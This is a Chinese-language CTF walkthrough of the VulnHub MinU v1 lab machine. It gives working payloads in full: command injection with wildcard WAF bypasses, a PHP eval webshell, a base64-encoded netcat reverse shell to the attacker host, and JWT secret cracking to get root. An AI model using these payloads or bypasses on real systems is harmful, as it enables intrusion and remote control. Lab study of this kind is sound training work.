红队渗透项目vulnhub-MinUv1打靶

环境

靶机项目地址https://www.vulnhub.com/entry/minu-1,235/
使用vm导入靶机需要关掉网卡2,再重新dhclinent

靶机:172.16.17.144

攻击机kali:172.16.17.140

目标

拿到root下的flag

信息收集

nmap收集

1
nmap -A -sV -sS -T5 172.16.17.144

中间件为Apache2.4.27,服务器为ubuntu

目录爆破


打开发现只有一个apache首页,丢到dirb爆破


几乎都是403,应该是有限制,要么是脚本要么是waf,继续加大力度爆破

发现一个test.php

Exploit

命令执行

发现关键字,一般file=xx可能会存在命令执行,文件包含,文件下载,文件读取等漏洞
尝试读取文件403,应该是存在waf

  • 尝试命令执行,成功回显

    ls,cat等命令被拦截

waf绕过

手工fuzz发现使用?或者*可以绕过waf,同样会被解析

1
2
原payload  /bin/cat /ect/passwd
绕过 /b?n/c?t /e?t/pa??wd

尝试写马失败

1
2
3
4
5
原payload
/bin/echo echo '<?php @eval($_POST["shell"]);?>'>>shell.php|/usr/bin/base64 -d|/bin/bash

base64编码过后
|/b?n/e?ho ZWNobyAgJzw/cGhwIEBldmFsKCRfUE9TVFsic2hlbGwiXSk7Pz4nPj5zaGVsbC5waHA=|/u?r/b?n/b?se64 -d|/b?n/b?sh

在本地kali测试成功,但是在靶机上失败,不知道原因可能被waf拦截了

写马不行那就试试nc反弹

反弹shell

本地监听5555端口

1
2
3
4
5
原payload
/bin/echo "nc -e /bin/sh 172.16.17.140 5555" | /usr/bin/base64 -d| /bin/sh

base64编码过后
/b?n/e??o bmMgLWUgL2Jpbi9zaCAxNzIuMTYuMTcuMTQwIDU1NTUg|/?s?/b??/b??e64 -d|/b?n/sh

需要注意的是,base64编码过后会出现=或者==,会被waf拦截,可以末尾添加空格

用python反弹一个交互式shell

1
python3 -c 'import pty; pty.spawn("/bin/bash")' 

这里要注意的是,要根据靶机python变量来,可能是python可能是python3

找到线索

JWT

一开始以为是编码或者加密,没解出来,仔细看发现,是以.分割的三段字符串,标准的JWT

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.pn55j1CFpcLjvReaqyJr0BPEMYUsBdoDxEPo6Ft9cwg

JWT在线解析 https://jwt.io/#debugger-io

前面两部分是base64编码,最后一部分需要秘钥

等待几分钟爆出密码,根据最开始的提示应该是root密码

getflag

登录root